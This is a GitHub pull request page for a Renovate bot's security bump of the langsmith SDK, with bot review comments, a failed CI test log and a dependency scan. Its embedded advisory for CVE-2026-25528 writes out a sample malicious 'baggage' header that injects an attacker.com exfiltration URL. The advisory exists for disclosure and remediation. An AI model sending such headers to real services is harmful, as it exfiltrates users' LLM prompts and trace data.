Skip to content

fix(deps): update dependency langsmith to v0.4.6 [security] - #4058

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-langsmith-vulnerability
Open

fix(deps): update dependency langsmith to v0.4.6 [security]#4058
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-langsmith-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Feb 15, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
langsmith 0.3.730.4.6 age confidence

LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection

CVE-2026-25528 / GHSA-v34v-rq6j-cj6p

More information

Details

Summary

The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.


Description

When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields.

Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker.


Attack Vector
  1. Attacker sends an HTTP request to a vulnerable service with a malicious baggage header:

    baggage: langsmith-replicas=[{"api_url":"https://attacker.com/exfil","project_name":"x"}]
    
  2. The service parses the header via RunTree.from_headers(), storing the attacker's URL

  3. When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to https://attacker.com/exfil


Impact
  • Data Exfiltration: Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers
  • SSRF: Ability to make the server send requests to arbitrary URLs, potentially targeting internal services

Affected Use Cases

Applications are vulnerable if they:

  • Use TracingMiddleware to automatically propagate tracing context
  • Call RunTree.from_headers() / RunTree.fromHeaders() with untrusted HTTP headers

Remediation

Update to the patched versions:

  • Python: pip install langsmith>=0.6.3
  • JavaScript: npm install langsmith@>=0.4.6

The fix filters incoming replica configurations to an allowlist of safe fields, removing api_url, api_key, and other credential fields.


Workarounds

If unable to upgrade immediately:

  • Strip or validate the baggage header before passing to from_headers()
  • Do not use TracingMiddleware with untrusted traffic

Severity

  • CVSS Score: 5.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

langchain-ai/langsmith-sdk (langsmith)

v0.4.6

Compare Source

What's Changed

Full Changelog: langchain-ai/langsmith-sdk@v0.4.5...v0.4.6

v0.4.5

Compare Source

What's Changed

New Contributors

Full Changelog: langchain-ai/langsmith-sdk@v0.4.4...v0.4.5

v0.4.4

Compare Source

What's Changed

Full Changelog: langchain-ai/langsmith-sdk@v0.4.3...v0.4.4

v0.4.3

Compare Source

What's Changed

Full Changelog: langchain-ai/langsmith-sdk@v0.4.2...v0.4.3

v0.4.2

Compare Source

What's Changed
New Contributors

Full Changelog: langchain-ai/langsmith-sdk@v0.4.1...v0.4.2

v0.4.1

Compare Source

What's Changed

Full Changelog: langchain-ai/langsmith-sdk@v0.4.0...v0.4.1

v0.4.0

What's Changed

  • feat: OTEL_ENABLED mode sends to both otel and ls, while allowing otel only through OTEL_ONLY var by @​EugeneJinXin in #​1762

New Contributors

Full Changelog: langchain-ai/langsmith-sdk@v0.3.45...v0.4.0


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
renovate Bot requested a review from a team as a code owner February 15, 2026 11:14
@renovate
renovate Bot requested review from NoritakaIkeda and sasamuku and removed request for a team February 15, 2026 11:14
@vercel

vercel Bot commented Feb 15, 2026

Copy link
Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated (UTC)
liam-app Ready Ready Preview, Comment Jul 12, 2026 1:18pm
liam-assets Ready Ready Preview, Comment Jul 12, 2026 1:18pm
liam-docs Ready Ready Preview, Comment Jul 12, 2026 1:18pm
liam-erd-sample Ready Ready Preview, Comment Jul 12, 2026 1:18pm
liam-storybook Ready Ready Preview, Comment Jul 12, 2026 1:18pm

Request Review

@giselles-ai

giselles-ai Bot commented Feb 15, 2026

Copy link
Copy Markdown

Finished running flow.

Step 1
🟢
On Pull Request OpenedStatus: Success Updated: Feb 15, 2026 11:14am
Step 2
🟢
gpt-5Status: Success Updated: Feb 15, 2026 11:15am
Step 3
🟢
Create Pull Request CommentStatus: Success Updated: Feb 15, 2026 11:15am

@giselles-ai

giselles-ai Bot commented Feb 15, 2026

Copy link
Copy Markdown

Check changeset necessity

Status: NOT REQUIRED

Reason:

  • The only affected packages are internal: @liam-hq/agent and @liam-hq/schema-bench, both listed in the ignored packages.
  • No changes to target, user-facing packages (@liam-hq/cli, @liam-hq/erd-core, @liam-hq/schema, @liam-hq/ui).
  • The PR updates a third-party dependency (langsmith) and lockfiles/config only; no public API or behavior change in target packages.
  • This is a security/maintenance dependency bump within ignored/internal packages, which does not require a release.

Changeset (copy & paste):

<!-- No changeset required for this PR -->

@devin-ai-integration devin-ai-integration Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

✅ Devin Review: No Issues Found

Devin Review analyzed this PR and found no potential bugs to report.

View in Devin Review to see 3 additional findings.

Open in Devin Review

@github-actions

github-actions Bot commented Feb 15, 2026

Copy link
Copy Markdown
Contributor

🤖 Agent Deep Modeling Execution

Started at: 2026-07-12 13:17:48 UTC

View Details

Command Output

@liam-hq/agent@0.1.0 execute-deep-modeling /home/runner/work/liam/liam/frontend/internal-packages/agent
pnpm test:integration src/createGraph.integration.test.ts

@liam-hq/agent@0.1.0 test:integration /home/runner/work/liam/liam/frontend/internal-packages/agent
vitest --watch=false --passWithNoTests --config vitest.config.integration.ts src/createGraph.integration.test.ts

RUN v3.2.4 /home/runner/work/liam/liam/frontend/internal-packages/agent

(node:7704) ExperimentalWarning: WASI is an experimental feature and might change at any time
(Use node --trace-warnings ... to show where the warning was created)

✅ [INFO] 2026-07-12T13:17:50.597Z
LangSmith Trace URL: https://smith.langchain.com/o/eed4d2d8-0bd8-4ca4-a452-4da88ef63fd6/projects/p/9324fe51-27a4-4604-a52b-c6cc240f6dcc?searchModel=%7B%22filter%22%3A%22and(eq(is_root%2C%20true)%2C%20and(eq(metadata_key%2C%20%5C%22thread_id%5C%22)%2C%20eq(metadata_value%2C%20%5C%223aa1ad6a-cf69-4267-954f-a51139aec885%5C%22)))%22%7D
stderr | src/createGraph.integration.test.ts > createGraph Integration > should execute complete workflow
Failed to Failed to send multipart request. Received status [403]: Forbidden. Message:

Context: trace=c14ae3c3-9a13-496e-b76a-73b069bd82ff,id=c14ae3c3-9a13-496e-b76a-73b069bd82ff; trace=c14ae3c3-9a13-496e-b76a-73b069bd82ff,id=961c4826-3d90-4d47-b7f3-b895f33ac04e; trace=c14ae3c3-9a13-496e-b76a-73b069bd82ff,id=b9847daa-516f-40da-bf57-03511e2b6f87; trace=c14ae3c3-9a13-496e-b76a-73b069bd82ff,id=59c143a4-898a-4edd-b62e-6b206a61bd14; trace=c14ae3c3-9a13-496e-b76a-73b069bd82ff,id=6f312eca-7dd3-4f09-a168-ee9ac9f899bc; trace=c14ae3c3-9a13-496e-b76a-73b069bd82ff,id=2649d8ea-5313-47cc-8bbe-64f9f6efccfb; trace=c14ae3c3-9a13-496e-b76a-73b069bd82ff,id=8523788f-d890-4765-b59b-69a7e68d2294; trace=c14ae3c3-9a13-496e-b76a-73b069bd82ff,id=f2bf2ab0-90b6-4c33-8408-b04b41526778; trace=c14ae3c3-9a13-496e-b76a-73b069bd82ff,id=353c2442-ede0-4298-aa5d-1f0415d9fc15; trace=c14ae3c3-9a13-496e-b76a-73b069bd82ff,id=6bccc812-fff4-4553-87c3-863d0ed38b2b; trace=c14ae3c3-9a13-496e-b76a-73b069bd82ff,id=ab0f1afa-e676-42d0-8a0f-1f1f013d5d5b; trace=c14ae3c3-9a13-496e-b76a-73b069bd82ff,id=775db694-e1a6-4fcd-bc08-2a36a06d3c7d; trace=c14ae3c3-9a13-496e-b76a-73b069bd82ff,id=c9896b8e-b899-425f-9a6c-2e1af9b93fa8; trace=c14ae3c3-9a13-496e-b76a-73b069bd82ff,id=273e2ccf-6b09-488c-a9d5-2d303530ffd8; trace=c14ae3c3-9a13-496e-b76a-73b069bd82ff,id=afbd85be-2835-479b-bb7d-e0f3c0470a06; trace=c14ae3c3-9a13-496e-b76a-73b069bd82ff,id=f108ce1b-07b3-4345-941c-117f325b98bc; trace=c14ae3c3-9a13-496e-b76a-73b069bd82ff,id=ae6e7f8e-9d9c-4c32-9635-0115768df55b; trace=c14ae3c3-9a13-496e-b76a-73b069bd82ff,id=63af243e-6334-4294-9842-3bfcf1d427a7; trace=c14ae3c3-9a13-496e-b76a-73b069bd82ff,id=cb67cb57-74b7-4ec4-9360-01392b4f083d; trace=c14ae3c3-9a13-496e-b76a-73b069bd82ff,id=c8b037a4-3f42-4a52-85c8-2d60a6636be7

x

⎯⎯⎯⎯⎯⎯⎯ Failed Tests 1 ⎯⎯⎯⎯⎯⎯⎯

FAIL src/createGraph.integration.test.ts > createGraph Integration > should execute complete workflow
WorkflowTerminationError: Error in analyzeRequirementsNode: 401 Incorrect API key provided: sk-proj-********************************************************************************************************************************************************N7kA. You can find your API key at https://platform.openai.com/account/api-keys.

Troubleshooting URL: https://js.langchain.com/docs/troubleshooting/errors/MODEL_AUTHENTICATION/

❯ RunnableCallable.analyzeRequirementsNode [as func] src/pm-agent/nodes/analyzeRequirementsNode.ts:38:11
36|
37| if (analysisResult.isErr()) {
38| throw new WorkflowTerminationError(
| ^
39| analysisResult.error,
40| 'analyzeRequirementsNode',
❯ RunnableCallable.invoke ../../../node_modules/.pnpm/@langchain+langgraph@0.4.9_@langchain+core@0.3.78_@opentelemetry+api@1.9.0_@opentelemet_cd940287faf0db93d41d5fc1f29067cc/node_modules/@langchain/langgraph/src/utils.ts:85:21
❯ RunnableSequence.invoke ../../../node_modules/.pnpm/@langchain+core@0.3.78_@opentelemetry+api@1.9.0_@opentelemetry+sdk-trace-base@2.2.0_@op_0a8880fa2f45d0308ed941fc53f9c9f1/node_modules/@langchain/core/dist/runnables/base.js:1308:33
runWithRetry ../../../node_modules/.pnpm/@langchain+langgraph@0.4.9@langchain+core@0.3.78_@opentelemetry+api@1.9.0_@opentelemet_cd940287faf0db93d41d5fc1f29067cc/node_modules/@langchain/langgraph/src/pregel/retry.ts:103:16
❯ PregelRunner.executeTasksWithRetry ../../../node_modules/.pnpm/@langchain+langgraph@0.4.9@langchain+core@0.3.78_@opentelemetry+api@1.9.0_@opentelemet_cd940287faf0db93d41d5fc1f29067cc/node_modules/@langchain/langgraph/src/pregel/runner.ts:330:27
❯ PregelRunner.tick ../../../node_modules/.pnpm/@langchain+langgraph@0.4.9_@langchain+core@0.3.78_@opentelemetry+api@1.9.0_@opentelemet_cd940287faf0db93d41d5fc1f29067cc/node_modules/@langchain/langgraph/src/pregel/runner.ts:138:50
❯ CompiledStateGraph.runLoop ../../../node_modules/.pnpm/@langchain+langgraph@0.4.9@langchain+core@0.3.78_@opentelemetry+api@1.9.0_@opentelemet_cd940287faf0db93d41d5fc1f29067cc/node_modules/@langchain/langgraph/src/pregel/index.ts:2233:9
❯ createAndRunLoop ../../../node_modules/.pnpm/@langchain+langgraph@0.4.9_@langchain+core@0.3.78_@opentelemetry+api@1.9.0_@opentelemet_cd940287faf0db93d41d5fc1f29067cc/node_modules/@langchain/langgraph/src/pregel/index.ts:2092:9

⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[1/1]⎯

Test Files 1 failed (1)
Tests 1 failed (1)
Start at 13:17:49
Duration 1.65s (transform 337ms, setup 0ms, collect 923ms, tests 552ms, environment 0ms, prepare 52ms)

 ELIFECYCLE  Command failed with exit code 1.
/home/runner/work/liam/liam/frontend/internal-packages/agent:
 ERR_PNPM_RECURSIVE_RUN_FIRST_FAIL  @liam-hq/agent@0.1.0 execute-deep-modeling: pnpm test:integration src/createGraph.integration.test.ts
Exit status 1

@renovate
renovate Bot force-pushed the renovate/npm-langsmith-vulnerability branch from 80175f6 to 2557f77 Compare March 14, 2026 21:02
@renovate
renovate Bot force-pushed the renovate/npm-langsmith-vulnerability branch from 2557f77 to eb90a13 Compare April 16, 2026 04:26
@renovate renovate Bot changed the title fix(deps): update dependency langsmith to v0.4.6 [security] Update dependency langsmith to v0.4.6 [SECURITY] Apr 16, 2026
@renovate
renovate Bot force-pushed the renovate/npm-langsmith-vulnerability branch from eb90a13 to 2a1207e Compare April 29, 2026 19:04
@renovate
renovate Bot force-pushed the renovate/npm-langsmith-vulnerability branch from 745c7d4 to c158000 Compare July 12, 2026 13:13
@github-actions

Copy link
Copy Markdown
Contributor

Dependency Review

The following issues were found:
  • ❌ 3 vulnerable package(s)
  • ✅ 0 package(s) with incompatible licenses
  • ✅ 0 package(s) with invalid SPDX license definitions
  • ✅ 0 package(s) with unknown licenses.
See the Details below.

Vulnerabilities

frontend/internal-packages/agent/package.json

NameVersionVulnerabilitySeverity
langsmith0.4.6LangSmith SDK: Public prompt pull deserializes untrusted manifests without trust boundary warninghigh
LangSmith Client SDKs has Prototype Pollution in langsmith-sdk via Incomplete `__proto__` Guard in Internal lodash `set()`moderate
LangSmith SDK: Streaming token events bypass output redactionmoderate

frontend/internal-packages/schema-bench/package.json

NameVersionVulnerabilitySeverity
langsmith0.4.6LangSmith SDK: Public prompt pull deserializes untrusted manifests without trust boundary warninghigh
LangSmith Client SDKs has Prototype Pollution in langsmith-sdk via Incomplete `__proto__` Guard in Internal lodash `set()`moderate
LangSmith SDK: Streaming token events bypass output redactionmoderate

pnpm-lock.yaml

NameVersionVulnerabilitySeverity
langsmith0.4.6LangSmith SDK: Public prompt pull deserializes untrusted manifests without trust boundary warninghigh
LangSmith Client SDKs has Prototype Pollution in langsmith-sdk via Incomplete `__proto__` Guard in Internal lodash `set()`moderate
LangSmith SDK: Streaming token events bypass output redactionmoderate

OpenSSF Scorecard

PackageVersionScoreDetails
npm/langsmith 0.4.6 🟢 8.8
Details
CheckScoreReason
Code-Review🟢 10all changesets reviewed
Maintained🟢 1030 commit(s) and 9 issue activity found in the last 90 days -- score normalized to 10
Dangerous-Workflow🟢 10no dangerous workflow patterns detected
CII-Best-Practices⚠️ 0no effort to earn an OpenSSF best practices badge detected
Token-Permissions🟢 10GitHub workflow tokens follow principle of least privilege
Binary-Artifacts🟢 10no binaries found in the repo
Pinned-Dependencies🟢 10all dependencies are pinned
License🟢 10license file detected
Fuzzing⚠️ 0project is not fuzzed
Branch-Protection🟢 8branch protection is not maximal on development and all release branches
Signed-Releases⚠️ -1no releases found
Security-Policy🟢 10security policy file detected
Packaging🟢 10packaging workflow detected
SAST🟢 10SAST tool is run on all commits
npm/langsmith 0.4.6 🟢 8.8
Details
CheckScoreReason
Code-Review🟢 10all changesets reviewed
Maintained🟢 1030 commit(s) and 9 issue activity found in the last 90 days -- score normalized to 10
Dangerous-Workflow🟢 10no dangerous workflow patterns detected
CII-Best-Practices⚠️ 0no effort to earn an OpenSSF best practices badge detected
Token-Permissions🟢 10GitHub workflow tokens follow principle of least privilege
Binary-Artifacts🟢 10no binaries found in the repo
Pinned-Dependencies🟢 10all dependencies are pinned
License🟢 10license file detected
Fuzzing⚠️ 0project is not fuzzed
Branch-Protection🟢 8branch protection is not maximal on development and all release branches
Signed-Releases⚠️ -1no releases found
Security-Policy🟢 10security policy file detected
Packaging🟢 10packaging workflow detected
SAST🟢 10SAST tool is run on all commits
npm/langsmith 0.4.6 🟢 8.8
Details
CheckScoreReason
Code-Review🟢 10all changesets reviewed
Maintained🟢 1030 commit(s) and 9 issue activity found in the last 90 days -- score normalized to 10
Dangerous-Workflow🟢 10no dangerous workflow patterns detected
CII-Best-Practices⚠️ 0no effort to earn an OpenSSF best practices badge detected
Token-Permissions🟢 10GitHub workflow tokens follow principle of least privilege
Binary-Artifacts🟢 10no binaries found in the repo
Pinned-Dependencies🟢 10all dependencies are pinned
License🟢 10license file detected
Fuzzing⚠️ 0project is not fuzzed
Branch-Protection🟢 8branch protection is not maximal on development and all release branches
Signed-Releases⚠️ -1no releases found
Security-Policy🟢 10security policy file detected
Packaging🟢 10packaging workflow detected
SAST🟢 10SAST tool is run on all commits

Scanned Files

  • frontend/internal-packages/agent/package.json
  • frontend/internal-packages/schema-bench/package.json
  • pnpm-lock.yaml

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants